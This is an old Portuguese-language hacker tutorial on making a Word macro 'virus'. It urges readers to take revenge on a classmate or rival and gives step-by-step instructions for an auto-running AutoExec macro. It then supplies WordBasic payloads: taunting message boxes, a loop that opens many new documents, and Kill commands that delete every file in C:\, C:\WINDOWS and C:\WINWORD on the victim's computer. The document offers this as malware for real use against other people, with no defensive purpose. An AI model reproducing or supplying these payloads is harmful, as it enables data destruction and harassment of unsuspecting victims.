Vírus de Macro

FAZENDO VÍRUS DE MACRO PARA SEU WORD

Então vc foi reprovado na escola? Ou aquele CDF tirou a sua vaga naquela mega
universidade? Bem, vc pode até resolver sair na porrada, mas isso seria uma
tremenda falta de estilo. Que tal deletar o Winchester dessa pessoa, seria uma
boa heyn! Basta um simples lammer ter o Word e aí vc pode dar um megashow!

Primeiro voce precisa criar uma macro... siga os passos:

Entre no Word, feche a janela de documento, não deixe nenhum documento
aberto(ativo), clique em Arquivo(File) depois Macro, coloque no nome da macro
"AutoExec"(obrigatorio) esta macro é inicializada toda vez que o Word for
iniciado, depois clique em 'Criar', delete as duas linhas que tiver la (Sub MAIN e
End Sub) e cole a rotina que tem logo mais abaixo.

Mensagem:

Se vc não tiver coragem de deletar nada de ninguém, pode simplesmente
demonstrar que é bem experto com apenas uma mensagem:


Sub MAIN
MsgBox "Desculpe, mas vc é muito lammer", "Microsoft Word", 5
MsgBox "Ficou com medo? Vai contar pra mamãe e pro papai?", "FATAL ERROR", 16
MsgBox "Diabo QuakeLand ", "QL the best clan", 64
End Sub

Mensagem porreta:

Vc pode ir um pouco mais longe com esse daqui


Sub MAIN
ArquivoNovoPadrão
Inserir "O"
ArquivoNovoPadrão
Inserir "Diabo"
ArquivoNovoPadrão
Inserir "QuakeLand"
ArquivoNovoPadrão
Inserir "Diabo Quakeland "
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "Diabo QuakeLand "
End Sub

Apagando:

Se vc não tiver piedade, pode deletar o que quiser no micro da vitíma:


Sub MAIN
Kill "C:\*.*"
Kill "C:\WINDOWS\*.*"
Kill "C:\WINWORD\*.*"
End Sub